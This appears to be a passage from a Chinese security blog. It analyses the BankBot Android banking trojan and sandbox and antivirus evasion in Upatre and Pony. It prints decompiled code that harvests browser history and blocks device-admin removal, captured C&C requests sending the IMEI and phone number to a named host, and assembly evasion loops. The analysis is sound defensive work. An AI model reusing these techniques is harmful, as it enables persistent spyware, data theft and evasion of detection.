v8.getColumnIndex("date")))));
if(!v8.isLast()) {
v10.append(",");
}

v8.moveToNext();
}

v8.close();
}

return v10.append("]");
}

浏览器书签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private StringBuilder getHistory(Uri historyUri) {
StringBuilder v8 = new StringBuilder("[");
Cursor v6 = this.context.getContentResolver().query(historyUri, new String[]{"title", "url",
"date"}, "bookmark = 0", null, null);
if((v6.moveToFirst()) && v6.getCount() > 0) {
while(!v6.isAfterLast()) {
v8.append(String.format(Locale.US, "{\"title\":%s,\"url\":%s,\"date\":%s}", JSONObject
.quote(v6.getString(v6.getColumnIndex("title"))), JSONObject.quote(v6.getString(
v6.getColumnIndex("url"))), JSONObject.quote(v6.getString(v6.getColumnIndex(
"date")))));
if(!v6.isLast()) {
v8.append(",");
}

v6.moveToNext();
}

v6.close();
}

return v8.append("]");
}

骗取信用卡信息

当用户打开Google Play 应用时,打开伪造的Activity,诱使用户输入信用卡信息。

高级技术

不断重启的Servcie

com.android.smali3

1
2
3
4
public void onDestroy() {
super.onDestroy();
this.startService(new Intent(this.getApplicationContext(), smali3.class));
}

服务被停止,立即重启,无法停止。

防止卸载

Bankbot 申请 Device Admin 权限,无法被正常卸载。

1
2
3
> adb shell pm uninstall com.android.market
Failure

禁止删除 Device Admin 权限

这个一个非常流氓的做法,具体的做法是如下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class AdRec extends DeviceAdminReceiver {
public AdRec() {
super();
}

public CharSequence onDisableRequested(Context context, Intent intent) {
new AppCrash().Register(context);
if(Build$VERSION.SDK_INT <= 0xA) {
Intent v2 = new Intent("android.settings.SETTINGS");
v2.setFlags(0x50000000);
context.startActivity(v2);
Intent v4 = new Intent("android.intent.action.MAIN");
v4.addCategory("android.intent.category.HOME");
v4.setFlags(0x10000000);
context.startActivity(v4);
return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
}

context.startService(new Intent(context, ASec.class));
long v6 = 0x7D0;
try {
Thread.sleep(v6);
}
catch(InterruptedException v3) {
v3.printStackTrace();
}

return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
}

...
}

重写 DeviceAdminReceiver 的 onDisableRequest 方法。使用 Thread.sleep 方法使用户
无法操作界面,在此期间采取 Activity 切换的方法绕开取消激活的步骤。

这里出过几个问题,

  1. Backdoor.AndroidOS.Obad.a 使用的,在设备管理器中隐身
  2. 就是现在代码中所用到这个,目前在所有的Android 版本中存在。

界面劫持

通过界面劫持,诱使用户将App设置为设备管理器。从下图中可以看见Continues按钮其实
是设备管理器的激活按钮。

使用翠鸟对恶意样本进行检查的结果

0x02 C&C 协议分析

Bankbot 以固定时间轮询的方式向C&C服务器请求命令,命令的格式为json格式。从代码中
可以得到json字段的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private static final String FIELD_ACTION = "action";
private static final String FIELD_CALL_LOG = "call_log";
private static final String FIELD_DATA = "data";
private static final String FIELD_HISTORY = "browser_history";
private static final String FIELD_ID = "id";
private static final String FIELD_IMEI = "imei";
private static final String FIELD_INTERCEPT = "intercept";
private static final String FIELD_MAYHEM = "mayhem";
private static final String FIELD_MESSAGE = "prefix_1";
private static final String FIELD_NEW_SERVER = "server";
private static final String FIELD_NUMBER_SEND_TO = "number_1";
private static final String FIELD_OPERATOR = "op";
private static final String FIELD_PHONE = "phone";
private static final String FIELD_POLL_INTERVAL = "server_poll";
private static final String FIELD_PREFIX = "prefix";
private static final String FIELD_REPORT_CALLS = "calls";
private static final String FIELD_SMS_HISTORY = "sms_history";
private static final String FIELD_SPAM = "text_2";
private static final String FIELD_STATUS = "status";
private static final String FIELD_URL_TO_SHOW = "url";
private static final String FIELD_VERSION = "version";

请求注册

返回报文

401

注册报文

请求报文

1
2
3
4
5
6
7
POST /p/gate.php HTTP/1.1
Content-Length: 106
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive

action=reg&imei=098767899076562&phone=15802920457&op=Android&version=4.4.4%2C3.4.0-gd853d22&prefix=12Jhw21

响应报文

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:21 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31

3
200
0


获取命令

1
2
3
4
5
6
7
POST /p/gate.php HTTP/1.1
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive

action=poll&imei=098767899076562
1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:30 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31

0


返回的命令为json 格式,主要的指令有下面几个,

指令 含义
401 要求 bot 注册
call_log 获取电话记录, 发送到C&C server
sms_history 获取短信内容,发送到C&C server
browser_history 获取浏览器书签,发送到C&C server
url 访问url 链接
server 更换C&C server
intercept
server_poll 更新从服务器获取命令的时间间隔
mayhem
calls

监视服务了大半天,没有收到有效指令,看来不是特别活跃。

0x03清除

这个App的清除非常费劲,原因就是注册为设备管理器的app不能卸载,而这个App又使诈
不让我们取消设备管理器,估计只有root的机器会好处理一些。

0x04总结

BankBot 样本,代码编写的相当规范,风格严谨,是正规程序员的作品。但行为非常流氓,
很顽固,不容易清除。所以遇到申请device admin 权限的程序一定要小心谨慎,以免不良
后果。而Android的界面劫持也是一个严重的问题,估计后续利用这些技术的恶意App的数量
会越来越多。

一些反沙盒的新技术

Upatre 使用了一些新的逃逸技术来逃逸动态沙盒引擎的检查,这些技巧都非常的简单,但
是非常的有效果。事实上,VirusTotal上Upatre的检出率并不高,新变种出来基本都检测不
出来,说明现在的恶意软件对付杀毒软件是越来越有办法了。

目前在恶意软件上加壳倒是越来越少了,因为加壳容易引起杀软引擎的注意,相反地目前的
恶意软件大量使用边执行边修改自身代码的方法来躲避杀软,不执行的话看起来就像是一个
正常的软件,而真正执行起来代码却全变了,这也算是一种进化。

下面说说两种最近遇到的沙盒逃逸的办法,样本md5: ac3558b973402ef6a27e03c391f20533

检查开机时间

一般使用沙盒的分析引擎的做法都是安装一个全新的系统,做系统镜像。然后在检查的时候
加载镜像,执行样本。而开机的时间往往都被忽略了,基本都不会超过10分钟。

Upatre 样本所采取的方法是利用GetTickCount 获取开机的毫秒数,当开机时间小于12分钟
是就不执行恶意的行为。

1
2
3
4
5
6
7
8
004013B3    BB D8FE0A00         MOV EBX,0AFED8
004013B8 FF55 DC CALL DWORD PTR SS:[EBP-24] ; kernel32.GetTickCount
004013BB 3BC3 CMP EAX,EBX
004013BD 0F82 6F020000 JB 00401632

00401632 6A 00 PUSH 0
00401634 FF55 F4 CALL DWORD PTR SS:[EBP-C] ; kernel32.ExitProcess

0xAFED8 是 720600毫秒 12分钟多一点,不到进程退出了。

检查鼠标位置

Upatre样本使用的第二种沙盒逃逸的方法是检查鼠标位置的变化,动态沙盒分析系统大多是
自动化的系统,也就是不使用鼠标,如果Upatre样本检查到鼠标的位置没有发生变化,同样
不会执行恶意行为。

1
2
3
4
5
6
7
8
9
10
11
0040197C   8D85 04FFFFFF       lea eax,dword ptr ss:[ebp-0xFC]
00401982 50 push eax
00401983 FF95 20FFFFFF call dword ptr ss:[ebp-0xE0] ; user32.GetCursorPos
00401989 8D85 0CFFFFFF lea eax,dword ptr ss:[ebp-0xF4]
0040198F 50 push eax
00401990 FF95 20FFFFFF call dword ptr ss:[ebp-0xE0] ; user32.GetCursorPos
00401996 8B85 04FFFFFF mov eax,dword ptr ss:[ebp-0xFC]
0040199C 8B9D 0CFFFFFF mov ebx,dword ptr ss:[ebp-0xF4]
004019A2 39D8 cmp eax,ebx
004019A4 74 D6 je short 62.0040197C

只要鼠标一动就退出循环,继续往下执行。

总结

最近出现的样本在反动态沙盒检测方面明显地进化了,针对性极强,不再局限于古老的
IsDebuggerPresent,而是利用PEB检查CPU核数等技术办法来检测,沙盒对抗估技术在后面
的日子里一定会更加迅速的进化。

致谢

非常感谢西安研究中心的同事提供的样本,同时感谢同事lzx在样本分析时给予的大力支持。

关于恶意 Android 软件的那些事

近年来,Android手机平台上的恶意App呈不断上升的趋势,根据G DATA的数据仅2015年 第一季度发现了440267 种新的安卓恶意软件,也就是说,全球范围内每18秒就有一个新的恶意软件被发现。而天朝由于Google被封的原因,更是使恶意软件的传播更加猖獗。Google Play store 为了保证Android用户的安全做了大量的努力,和国内的一些第三方应用市场相比安全一些的。

重打包是Android App主流的传播方式之一,和以前单独的恶意App不同,重打包的软件 在合法正常的App中插入恶意代码,迷惑性极强,一般用户觉察不出什么不同。而重打包选取 的App也大多是非常流行的App,如愤怒的小鸟之类,这些都在地下市场隐秘的进行着。重打包 App然后上传第三方App应用市场,第三方市场把关不严格的话,这些插入了恶意代码的App 就可以下载安装了。

除了重打包短信,彩信也是Android 恶意App传播的主要方式,和以前QQ的消息尾巴类似发一些奇怪的话,后面加上短链接。短链接就是经过压缩的链接,没法一些看出原始的链接,点击后会自动下载恶意App。臭名昭著的“相册”就是通过这种方式传播,短信的内容是:小明,你还记得这些照片吗? t.cn/xyz1 注意这里的名字小明是正确的,相册偷取了大量的手机通讯录,按照通讯录的名字来发送,迷惑性大大增强了。

还有值得大家注意的是,一定要警惕申请设备管理员权限的App,设备管理员可以做很多高权限的事,比如修改设备密码,擦掉数据等操作,Android手机的勒索软件就是修改了设备的密码,禁止手机主人进入手机,而进行勒索的,最近这类软件的数目增加很快,大家一定要注意。

上面说了很多Android恶意软件相关的内容,也给大家一些安全建议,提高了安全意识也就不容易中招了。

  1. 尽量在Google play 或者官方网站下载APP,不要第三方应用市场随意下载
  2. 不要随意点击不明链接
  3. 对于申请设备管理员的App,保持高度警惕

最后教大家一招急救,许多Android手机也有安全模式,安全模式只加载出厂应用,进入了安全模式,删除恶意软件,可能可以挽救你的手机 :)

通过延迟执行的方法来逃逸杀软

pony 2.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
; KAV heuristic fucker

KAVHeurKiller proc uses esi
LOCAL counter: DWORD
AntiDisasmTrick
push eax
mov ecx, ecx
pop eax
mov ecx, ecx
push eax
sub esi, esi
pop eax
mov ecx, ecx
push 19131011
mov ecx, ecx
pop counter
mov edx, eax
.WHILE counter
mov edx, eax
mov ecx, ecx
add eax, esi
mov edx, eax
mov ecx, ecx
push eax
mov ecx, ecx
mov edx, eax
invoke GetTickCount
mov ecx, ecx
pop eax
mov edx, eax
mov ecx, ecx
add eax, edx
mov ecx, ecx
mov edx, eax
dec counter
.ENDW
ret
KAVHeurKiller endp

pony 1.9

1
2
3
4
5
6
7
8
9
.WHILE  TRUE
invoke GetTickCount
mov ecx, 10
xor edx, edx
div ecx
.IF edx == 5
.BREAK
.ENDIF
.ENDW